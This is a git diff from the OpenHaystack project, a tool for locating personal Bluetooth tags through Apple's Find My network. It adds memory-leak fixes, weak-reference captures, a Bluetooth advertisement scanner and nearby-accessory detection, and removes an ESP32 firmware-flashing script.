|
78286D5625E401F000F65511 /* MailPluginManager.swift in Sources */,
|
||||||
);
|
);
|
||||||
runOnlyForDeploymentPostprocessing = 0;
|
runOnlyForDeploymentPostprocessing = 0;
|
||||||
@@ -609,6 +648,7 @@
|
|||||||
buildActionMask = 2147483647;
|
buildActionMask = 2147483647;
|
||||||
files = (
|
files = (
|
||||||
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
|
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
|
||||||
|
F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */,
|
||||||
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
|
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
|
||||||
);
|
);
|
||||||
runOnlyForDeploymentPostprocessing = 0;
|
runOnlyForDeploymentPostprocessing = 0;
|
||||||
|
|||||||
@@ -38,6 +38,15 @@
|
|||||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||||
</BuildableReference>
|
</BuildableReference>
|
||||||
<SkippedTests>
|
<SkippedTests>
|
||||||
|
<Test
|
||||||
|
Identifier = "MicrocontrollerTests/testESP32Deploy()">
|
||||||
|
</Test>
|
||||||
|
<Test
|
||||||
|
Identifier = "MicrocontrollerTests/testFindESP32Port()">
|
||||||
|
</Test>
|
||||||
|
<Test
|
||||||
|
Identifier = "MicrocontrollerTests/testMicrobitDeploy()">
|
||||||
|
</Test>
|
||||||
<Test
|
<Test
|
||||||
Identifier = "OpenHaystackTests/testPluginInstallation()">
|
Identifier = "OpenHaystackTests/testPluginInstallation()">
|
||||||
</Test>
|
</Test>
|
||||||
|
|||||||
@@ -0,0 +1,34 @@
|
|||||||
|
{
|
||||||
|
"colors" : [
|
||||||
|
{
|
||||||
|
"color" : {
|
||||||
|
"color-space" : "gray-gamma-22",
|
||||||
|
"components" : {
|
||||||
|
"alpha" : "1.000",
|
||||||
|
"white" : "0.866"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"idiom" : "universal"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"appearances" : [
|
||||||
|
{
|
||||||
|
"appearance" : "luminosity",
|
||||||
|
"value" : "dark"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"color" : {
|
||||||
|
"color-space" : "gray-gamma-22",
|
||||||
|
"components" : {
|
||||||
|
"alpha" : "0.758",
|
||||||
|
"white" : "0.310"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"idiom" : "universal"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"info" : {
|
||||||
|
"author" : "xcode",
|
||||||
|
"version" : 1
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
{
|
||||||
|
"colors" : [
|
||||||
|
{
|
||||||
|
"color" : {
|
||||||
|
"color-space" : "gray-gamma-22",
|
||||||
|
"components" : {
|
||||||
|
"alpha" : "1.000",
|
||||||
|
"white" : "0.657"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"idiom" : "universal"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"appearances" : [
|
||||||
|
{
|
||||||
|
"appearance" : "luminosity",
|
||||||
|
"value" : "dark"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"color" : {
|
||||||
|
"color-space" : "gray-gamma-22",
|
||||||
|
"components" : {
|
||||||
|
"alpha" : "0.758",
|
||||||
|
"white" : "0.237"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"idiom" : "universal"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"info" : {
|
||||||
|
"author" : "xcode",
|
||||||
|
"version" : 1
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -52,7 +52,11 @@
|
|||||||
BIO_free(bio);
|
BIO_free(bio);
|
||||||
}
|
}
|
||||||
|
|
||||||
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
|
// NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
|
||||||
|
//Free
|
||||||
|
EC_KEY_free(key);
|
||||||
|
EC_GROUP_free(curve);
|
||||||
|
EC_POINT_free(publicKey);
|
||||||
|
|
||||||
return sharedKey;
|
return sharedKey;
|
||||||
}
|
}
|
||||||
@@ -90,26 +94,32 @@
|
|||||||
BN_CTX *ctx = BN_CTX_new();
|
BN_CTX *ctx = BN_CTX_new();
|
||||||
BN_CTX_start(ctx);
|
BN_CTX_start(ctx);
|
||||||
|
|
||||||
|
// Read in the private key data
|
||||||
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
||||||
|
|
||||||
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
|
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
|
||||||
|
|
||||||
if (res != 1) {
|
if (res != 1) {
|
||||||
NSLog(@"Failed");
|
NSLog(@"Failed");
|
||||||
return nil;
|
return nil;
|
||||||
}
|
}
|
||||||
|
|
||||||
res = EC_KEY_set_public_key(key, point);
|
res = EC_KEY_set_public_key(key, point);
|
||||||
|
EC_POINT_free(point);
|
||||||
|
|
||||||
if (res != 1) {
|
if (res != 1) {
|
||||||
NSLog(@"Failed");
|
NSLog(@"Failed");
|
||||||
return nil;
|
return nil;
|
||||||
}
|
}
|
||||||
|
|
||||||
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
|
||||||
EC_KEY_set_private_key(key, privateKeyNum);
|
EC_KEY_set_private_key(key, privateKeyNum);
|
||||||
|
BN_free(privateKeyNum);
|
||||||
|
|
||||||
// Free the big numbers
|
// Free
|
||||||
BN_CTX_free(ctx);
|
BN_CTX_free(ctx);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
return key;
|
return key;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -126,6 +136,10 @@
|
|||||||
|
|
||||||
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
|
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
|
||||||
|
|
||||||
|
//Free
|
||||||
|
EC_KEY_free(key);
|
||||||
|
EC_GROUP_free(curve);
|
||||||
|
|
||||||
if (size == 0) {
|
if (size == 0) {
|
||||||
return nil;
|
return nil;
|
||||||
}
|
}
|
||||||
@@ -146,6 +160,7 @@
|
|||||||
|
|
||||||
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
|
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
|
||||||
|
|
||||||
|
EC_KEY_free(key);
|
||||||
if (size == 0) {
|
if (size == 0) {
|
||||||
return nil;
|
return nil;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -32,7 +32,11 @@ class FindMyController: ObservableObject {
|
|||||||
self.devices = devices
|
self.devices = devices
|
||||||
|
|
||||||
// Decrypt the reports with the imported keys
|
// Decrypt the reports with the imported keys
|
||||||
DispatchQueue.global(qos: .background).async {
|
DispatchQueue.global(qos: .background).async { [weak self] in
|
||||||
|
guard let self = self else {
|
||||||
|
completion()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
var d = self.devices
|
var d = self.devices
|
||||||
// Add the reports to the according device by finding the right key for the report
|
// Add the reports to the according device by finding the right key for the report
|
||||||
@@ -57,8 +61,8 @@ class FindMyController: ObservableObject {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Decrypt the reports
|
// Decrypt the reports
|
||||||
self.decryptReports {
|
self.decryptReports { [weak self] in
|
||||||
self.exportDevices()
|
self?.exportDevices()
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
completion()
|
completion()
|
||||||
}
|
}
|
||||||
@@ -108,7 +112,11 @@ class FindMyController: ObservableObject {
|
|||||||
|
|
||||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||||
|
|
||||||
DispatchQueue.global(qos: .background).async {
|
DispatchQueue.global(qos: .background).async { [weak self] in
|
||||||
|
guard let self = self else {
|
||||||
|
completion(FindMyErrors.objectReleased)
|
||||||
|
return
|
||||||
|
}
|
||||||
let fetchReportGroup = DispatchGroup()
|
let fetchReportGroup = DispatchGroup()
|
||||||
|
|
||||||
let fetcher = ReportsFetcher()
|
let fetcher = ReportsFetcher()
|
||||||
@@ -166,7 +174,11 @@ class FindMyController: ObservableObject {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async { [weak self] in
|
||||||
|
guard let self = self else {
|
||||||
|
completion(FindMyErrors.objectReleased)
|
||||||
|
return
|
||||||
|
}
|
||||||
self.devices = devices
|
self.devices = devices
|
||||||
|
|
||||||
self.decryptReports {
|
self.decryptReports {
|
||||||
@@ -228,4 +240,5 @@ class FindMyController: ObservableObject {
|
|||||||
|
|
||||||
enum FindMyErrors: Error {
|
enum FindMyErrors: Error {
|
||||||
case decodingPlistFailed(message: String)
|
case decodingPlistFailed(message: String)
|
||||||
|
case objectReleased
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,15 +9,15 @@
|
|||||||
|
|
||||||
import Combine
|
import Combine
|
||||||
import Foundation
|
import Foundation
|
||||||
import SwiftUI
|
|
||||||
import OSLog
|
import OSLog
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
class AccessoryController: ObservableObject {
|
class AccessoryController: ObservableObject {
|
||||||
@Published var accessories: [Accessory]
|
@Published var accessories: [Accessory]
|
||||||
var selfObserver: AnyCancellable?
|
var selfObserver: AnyCancellable?
|
||||||
var listElementsObserver = [AnyCancellable]()
|
var listElementsObserver = [AnyCancellable]()
|
||||||
let findMyController: FindMyController
|
let findMyController: FindMyController
|
||||||
|
|
||||||
init(accessories: [Accessory], findMyController: FindMyController) {
|
init(accessories: [Accessory], findMyController: FindMyController) {
|
||||||
self.accessories = accessories
|
self.accessories = accessories
|
||||||
self.findMyController = findMyController
|
self.findMyController = findMyController
|
||||||
@@ -30,12 +30,12 @@ class AccessoryController: ObservableObject {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func initAccessoryObserver() {
|
func initAccessoryObserver() {
|
||||||
self.selfObserver = self.objectWillChange.sink { _ in
|
self.selfObserver = self.objectWillChange.sink { [weak self] _ in
|
||||||
// objectWillChange is called before the values are actually changed,
|
// objectWillChange is called before the values are actually changed,
|
||||||
// so we dispatch the call to save()
|
// so we dispatch the call to save()
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async { [weak self] in
|
||||||
self.initObserver()
|
self?.initObserver()
|
||||||
try? self.save()
|
try? self?.save()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -45,7 +45,7 @@ class AccessoryController: ObservableObject {
|
|||||||
$0.cancel()
|
$0.cancel()
|
||||||
})
|
})
|
||||||
self.accessories.forEach({
|
self.accessories.forEach({
|
||||||
let c = $0.objectWillChange.sink(receiveValue: { self.objectWillChange.send() })
|
let c = $0.objectWillChange.sink(receiveValue: { [weak self] in self?.objectWillChange.send() })
|
||||||
// Important: You have to keep the returned value allocated,
|
// Important: You have to keep the returned value allocated,
|
||||||
// otherwise the sink subscription gets cancelled
|
// otherwise the sink subscription gets cancelled
|
||||||
self.listElementsObserver.append(c)
|
self.listElementsObserver.append(c)
|
||||||
@@ -69,6 +69,7 @@ class AccessoryController: ObservableObject {
|
|||||||
|
|
||||||
accessory.lastLocation = report?.location
|
accessory.lastLocation = report?.location
|
||||||
accessory.locationTimestamp = report?.timestamp
|
accessory.locationTimestamp = report?.timestamp
|
||||||
|
accessory.locations = device.decryptedReports
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -91,8 +92,8 @@ class AccessoryController: ObservableObject {
|
|||||||
}
|
}
|
||||||
return accessory
|
return accessory
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Export the accessories property list so it can be imported at another location
|
/// Export the accessories property list so it can be imported at another location.
|
||||||
func export(accessories: [Accessory]) throws -> URL {
|
func export(accessories: [Accessory]) throws -> URL {
|
||||||
let propertyList = try PropertyListEncoder().encode(accessories)
|
let propertyList = try PropertyListEncoder().encode(accessories)
|
||||||
|
|
||||||
@@ -109,7 +110,8 @@ class AccessoryController: ObservableObject {
|
|||||||
let result = savePanel.runModal()
|
let result = savePanel.runModal()
|
||||||
|
|
||||||
if result == .OK,
|
if result == .OK,
|
||||||
let url = savePanel.url {
|
let url = savePanel.url
|
||||||
|
{
|
||||||
// Store the accessory file
|
// Store the accessory file
|
||||||
try propertyList.write(to: url)
|
try propertyList.write(to: url)
|
||||||
|
|
||||||
@@ -118,7 +120,7 @@ class AccessoryController: ObservableObject {
|
|||||||
throw ImportError.cancelled
|
throw ImportError.cancelled
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Let the user select a file to import the accessories exported by another OpenHaystack instance
|
/// Let the user select a file to import the accessories exported by another OpenHaystack instance.
|
||||||
func importAccessories() throws {
|
func importAccessories() throws {
|
||||||
let openPanel = NSOpenPanel()
|
let openPanel = NSOpenPanel()
|
||||||
openPanel.allowedFileTypes = ["plist"]
|
openPanel.allowedFileTypes = ["plist"]
|
||||||
@@ -130,48 +132,52 @@ class AccessoryController: ObservableObject {
|
|||||||
|
|
||||||
let result = openPanel.runModal()
|
let result = openPanel.runModal()
|
||||||
if result == .OK,
|
if result == .OK,
|
||||||
let url = openPanel.url {
|
let url = openPanel.url
|
||||||
|
{
|
||||||
let propertyList = try Data(contentsOf: url)
|
let propertyList = try Data(contentsOf: url)
|
||||||
var importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: propertyList)
|
var importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: propertyList)
|
||||||
|
|
||||||
var updatedAccessories = self.accessories
|
var updatedAccessories = self.accessories
|
||||||
// Filter out accessories with the same id (no duplicates)
|
// Filter out accessories with the same id (no duplicates)
|
||||||
importedAccessories = importedAccessories.filter({acc in !self.accessories.contains(where: {acc.id == $0.id})})
|
importedAccessories = importedAccessories.filter({ acc in !self.accessories.contains(where: { acc.id == $0.id }) })
|
||||||
updatedAccessories.append(contentsOf: importedAccessories)
|
updatedAccessories.append(contentsOf: importedAccessories)
|
||||||
updatedAccessories.sort(by: {$0.name < $1.name})
|
updatedAccessories.sort(by: { $0.name < $1.name })
|
||||||
|
|
||||||
|
|
||||||
self.accessories = updatedAccessories
|
self.accessories = updatedAccessories
|
||||||
|
|
||||||
//Update reports automatically. Do not report errors from here
|
//Update reports automatically. Do not report errors from here
|
||||||
self.downloadLocationReports { result in}
|
self.downloadLocationReports { result in }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
enum ImportError: Error {
|
enum ImportError: Error {
|
||||||
case cancelled
|
case cancelled
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
//MARK: Location reports
|
//MARK: Location reports
|
||||||
|
|
||||||
|
/// Download the location reports from.
|
||||||
/// Download the location reports from
|
///
|
||||||
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
|
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
|
||||||
func downloadLocationReports(completion: @escaping (Result<Void,OpenHaystackMainView.AlertType>) -> Void) {
|
func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
|
||||||
AnisetteDataManager.shared.requestAnisetteData { result in
|
AnisetteDataManager.shared.requestAnisetteData { [weak self] result in
|
||||||
|
guard let self = self else {
|
||||||
|
completion(.failure(.noReportsFound))
|
||||||
|
return
|
||||||
|
}
|
||||||
switch result {
|
switch result {
|
||||||
case .failure(_):
|
case .failure(_):
|
||||||
completion(.failure(.activatePlugin))
|
completion(.failure(.activatePlugin))
|
||||||
case .success(let accountData):
|
case .success(let accountData):
|
||||||
|
|
||||||
guard let token = accountData.searchPartyToken,
|
guard let token = accountData.searchPartyToken,
|
||||||
token.isEmpty == false else {
|
token.isEmpty == false
|
||||||
|
else {
|
||||||
completion(.failure(.searchPartyToken))
|
completion(.failure(.searchPartyToken))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
self.findMyController.fetchReports(for: self.accessories, with: token) { result in
|
self.findMyController.fetchReports(for: self.accessories, with: token) { [weak self] result in
|
||||||
switch result {
|
switch result {
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
os_log(.error, "Downloading reports failed %@", error.localizedDescription)
|
os_log(.error, "Downloading reports failed %@", error.localizedDescription)
|
||||||
@@ -180,17 +186,17 @@ class AccessoryController: ObservableObject {
|
|||||||
let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
|
let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
|
||||||
if reports.isEmpty {
|
if reports.isEmpty {
|
||||||
completion(.failure(.noReportsFound))
|
completion(.failure(.noReportsFound))
|
||||||
}else {
|
} else {
|
||||||
self.updateWithDecryptedReports(devices: devices)
|
self?.updateWithDecryptedReports(devices: devices)
|
||||||
completion(.success(()))
|
completion(.success(()))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
class AccessoryControllerPreview: AccessoryController {
|
class AccessoryControllerPreview: AccessoryController {
|
||||||
|
|||||||
@@ -0,0 +1,79 @@
|
|||||||
|
//
|
||||||
|
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||||
|
//
|
||||||
|
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||||
|
// Copyright © 2021 The Open Wireless Link Project
|
||||||
|
//
|
||||||
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
class AccessoryNearbyMonitor: BluetoothAccessoryDelegate {
|
||||||
|
|
||||||
|
var accessoryController: AccessoryController
|
||||||
|
var scanner: BluetoothAccessoryScanner
|
||||||
|
|
||||||
|
var cleanup: Timer?
|
||||||
|
|
||||||
|
init(accessoryController: AccessoryController) {
|
||||||
|
self.accessoryController = accessoryController
|
||||||
|
self.scanner = BluetoothAccessoryScanner()
|
||||||
|
self.initScanner()
|
||||||
|
self.initTimer()
|
||||||
|
}
|
||||||
|
|
||||||
|
func initScanner() {
|
||||||
|
self.scanner.delegate = self
|
||||||
|
}
|
||||||
|
|
||||||
|
func initTimer() {
|
||||||
|
self.cleanup = Timer.scheduledTimer(withTimeInterval: 1.0, repeats: true) { [weak self] _ in
|
||||||
|
self?.removeNearbyAccessories()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func received(_ advertisement: Advertisement) {
|
||||||
|
guard let accessory = getAccessoryForAdvertisement(advertisement) else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
updateNearbyAccessory(accessory)
|
||||||
|
}
|
||||||
|
|
||||||
|
func updateNearbyAccessory(_ accessory: Accessory) {
|
||||||
|
if !accessory.isNearby {
|
||||||
|
// Only set on state change
|
||||||
|
accessory.isNearby = true
|
||||||
|
}
|
||||||
|
accessory.lastAdvertisement = Date()
|
||||||
|
}
|
||||||
|
|
||||||
|
func removeNearbyAccessories(now: Date = Date(), timeout: TimeInterval = 10.0) {
|
||||||
|
let nearbyAccessories = self.accessoryController.accessories.filter({ $0.isNearby })
|
||||||
|
for accessory in nearbyAccessories {
|
||||||
|
guard let lastAdvertisement = accessory.lastAdvertisement else {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if lastAdvertisement + timeout < now {
|
||||||
|
accessory.isNearby = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func getAccessoryForAdvertisement(_ advertisement: Advertisement) -> Accessory? {
|
||||||
|
let accessory =
|
||||||
|
self.accessoryController.accessories.first {
|
||||||
|
isAdvertisement(advertisement, from: $0)
|
||||||
|
} ?? nil
|
||||||
|
return accessory
|
||||||
|
}
|
||||||
|
|
||||||
|
func isAdvertisement(_ advertisement: Advertisement, from: Accessory) -> Bool {
|
||||||
|
do {
|
||||||
|
let accessoryPublicKey = try from.getAdvertisementKey().advanced(by: 6)
|
||||||
|
return accessoryPublicKey == advertisement.publicKeyPayload
|
||||||
|
} catch {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
//
|
||||||
|
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||||
|
//
|
||||||
|
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||||
|
// Copyright © 2021 The Open Wireless Link Project
|
||||||
|
//
|
||||||
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
|
//
|
||||||
|
|
||||||
|
import CoreBluetooth
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
struct Advertisement {
|
||||||
|
|
||||||
|
let publicKeyPayload: Data
|
||||||
|
|
||||||
|
init?(fromAdvertisementData: [String: Any]) {
|
||||||
|
guard let manufacturerData = fromAdvertisementData[CBAdvertisementDataManufacturerDataKey] as? Data else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
self.init(fromManufacturerData: manufacturerData)
|
||||||
|
}
|
||||||
|
|
||||||
|
init?(fromManufacturerData: Data) {
|
||||||
|
guard let publicKey = Advertisement.extractPublicKeyFromPayload(fromManufacturerData) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
self.publicKeyPayload = publicKey
|
||||||
|
}
|
||||||
|
|
||||||
|
static let publicKeyPayloadLength = 22
|
||||||
|
|
||||||
|
static func extractPublicKeyFromPayload(_ payload: Data) -> Data? {
|
||||||
|
guard payload.count == 29 else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
// Apple company ID
|
||||||
|
guard payload.subdata(in: 0..<2) == Data([0x4c, 0x00]) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
// Offline finding sub type
|
||||||
|
guard payload.subdata(in: 2..<3) == Data([0x12]) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
// Offline finding sub type length
|
||||||
|
guard payload.subdata(in: 3..<4) == Data([0x19]) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
let publicKey = payload.subdata(in: 5..<5 + publicKeyPayloadLength)
|
||||||
|
guard publicKey.count == publicKeyPayloadLength else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return publicKey
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
//
|
||||||
|
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||||
|
//
|
||||||
|
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||||
|
// Copyright © 2021 The Open Wireless Link Project
|
||||||
|
//
|
||||||
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
|
//
|
||||||
|
|
||||||
|
import CoreBluetooth
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
protocol BluetoothAccessoryDelegate {
|
||||||
|
func received(_ advertisement: Advertisement)
|
||||||
|
}
|
||||||
|
|
||||||
|
public class BluetoothAccessoryScanner: NSObject, CBCentralManagerDelegate {
|
||||||
|
|
||||||
|
var scanner: CBCentralManager!
|
||||||
|
var delegate: BluetoothAccessoryDelegate?
|
||||||
|
|
||||||
|
override init() {
|
||||||
|
super.init()
|
||||||
|
scanner = CBCentralManager(delegate: self, queue: DispatchQueue.main)
|
||||||
|
}
|
||||||
|
|
||||||
|
public func centralManagerDidUpdateState(_ central: CBCentralManager) {
|
||||||
|
startScanning(central)
|
||||||
|
}
|
||||||
|
|
||||||
|
private func startScanning(_ central: CBCentralManager) {
|
||||||
|
guard central.state == .poweredOn else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
let scanOptions = [
|
||||||
|
CBCentralManagerScanOptionAllowDuplicatesKey: false
|
||||||
|
]
|
||||||
|
scanner.scanForPeripherals(withServices: nil, options: scanOptions)
|
||||||
|
}
|
||||||
|
|
||||||
|
public func centralManager(_ central: CBCentralManager, didDiscover peripheral: CBPeripheral, advertisementData: [String: Any], rssi RSSI: NSNumber) {
|
||||||
|
guard let adv = Advertisement(fromAdvertisementData: advertisementData) else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
self.delegate?.received(adv)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -14,7 +14,7 @@ struct ESP32Controller {
|
|||||||
Bundle.main.resourceURL?.appendingPathComponent("ESP32")
|
Bundle.main.resourceURL?.appendingPathComponent("ESP32")
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Tries to find the port / path at which the ESP32 module is attached
|
/// Tries to find the port / path at which the ESP32 module is attached.
|
||||||
static func findPort() -> [URL] {
|
static func findPort() -> [URL] {
|
||||||
// List all ports
|
// List all ports
|
||||||
let ports = try? FileManager.default.contentsOfDirectory(atPath: "/dev").filter({ $0.contains("cu.") })
|
let ports = try? FileManager.default.contentsOfDirectory(atPath: "/dev").filter({ $0.contains("cu.") })
|
||||||
@@ -24,7 +24,7 @@ struct ESP32Controller {
|
|||||||
return portURLs ?? []
|
return portURLs ?? []
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Runs the script to flash the firmware on an ESP32
|
/// Runs the script to flash the firmware on an ESP32.
|
||||||
static func flashToESP32(accessory: Accessory, port: URL, completion: @escaping (Result<Void, Error>) -> Void) throws {
|
static func flashToESP32(accessory: Accessory, port: URL, completion: @escaping (Result<Void, Error>) -> Void) throws {
|
||||||
|
|
||||||
// Copy firmware to a temporary directory
|
// Copy firmware to a temporary directory
|
||||||
|
|||||||
@@ -1,139 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# Directory of this script
|
|
||||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
|
||||||
|
|
||||||
# Defaults: Directory for the virtual environment
|
|
||||||
VENV_DIR="$SCRIPT_DIR/venv"
|
|
||||||
|
|
||||||
# Defaults: Serial port to access the ESP32
|
|
||||||
PORT=/dev/ttyS0
|
|
||||||
|
|
||||||
# Defaults: Fast baud rate
|
|
||||||
BAUDRATE=921600
|
|
||||||
|
|
||||||
# Parameter parsing
|
|
||||||
while [[ $# -gt 0 ]]; do
|
|
||||||
KEY="$1"
|
|
||||||
case "$KEY" in
|
|
||||||
-p|--port)
|
|
||||||
PORT="$2"
|
|
||||||
shift
|
|
||||||
shift
|
|
||||||
;;
|
|
||||||
-s|--slow)
|
|
||||||
BAUDRATE=115200
|
|
||||||
shift
|
|
||||||
;;
|
|
||||||
-v|--venvdir)
|
|
||||||
VENV_DIR="$2"
|
|
||||||
shift
|
|
||||||
shift
|
|
||||||
;;
|
|
||||||
-h|--help)
|
|
||||||
echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
|
|
||||||
echo ""
|
|
||||||
echo " This script will create a virtual environment for the required tools."
|
|
||||||
echo ""
|
|
||||||
echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
|
|
||||||
echo ""
|
|
||||||
echo "Required Arguments:"
|
|
||||||
echo " PUBKEY"
|
|
||||||
echo " The base64-encoded public key"
|
|
||||||
echo ""
|
|
||||||
echo "Optional Arguments:"
|
|
||||||
echo " -h, --help"
|
|
||||||
echo " Show this message and exit."
|
|
||||||
echo " -p, --port <port>"
|
|
||||||
echo " Specify the serial interface to which the device is connected."
|
|
||||||
echo " -s, --slow"
|
|
||||||
echo " Use 115200 instead of 921600 baud when flashing."
|
|
||||||
echo " Might be required for long/bad USB cables or slow USB-to-Serial converters."
|
|
||||||
echo " -v, --venvdir <dir>"
|
|
||||||
echo " Select Python virtual environment with esptool installed."
|
|
||||||
echo " If the directory does not exist, it will be created."
|
|
||||||
exit 1
|
|
||||||
;;
|
|
||||||
*)
|
|
||||||
if [[ -z "$PUBKEY" ]]; then
|
|
||||||
PUBKEY="$1"
|
|
||||||
shift
|
|
||||||
else
|
|
||||||
echo "Got unexpected parameter $1"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
done
|
|
||||||
|
|
||||||
# Sanity check: Pubkey exists
|
|
||||||
if [[ -z "$PUBKEY" ]]; then
|
|
||||||
echo "Missing public key, call with --help for usage"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Sanity check: Port
|
|
||||||
if [[ ! -e "$PORT" ]]; then
|
|
||||||
echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Setup the virtual environment
|
|
||||||
if [[ ! -d "$VENV_DIR" ]]; then
|
|
||||||
# Create the virtual environment
|
|
||||||
PYTHON="$(which python3)"
|
|
||||||
if [[ -z "$PYTHON" ]]; then
|
|
||||||
PYTHON="$(which python)"
|
|
||||||
fi
|
|
||||||
if [[ -z "$PYTHON" ]]; then
|
|
||||||
echo "Could not find a Python installation, please install Python 3."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
if ! ($PYTHON -V 2>&1 | grep "Python 3" > /dev/null); then
|
|
||||||
echo "Executing \"$PYTHON\" does not run Python 3, please make sure that python3 or python on your PATH points to Python 3"
|
|
||||||
exit 1
|
|
||||||
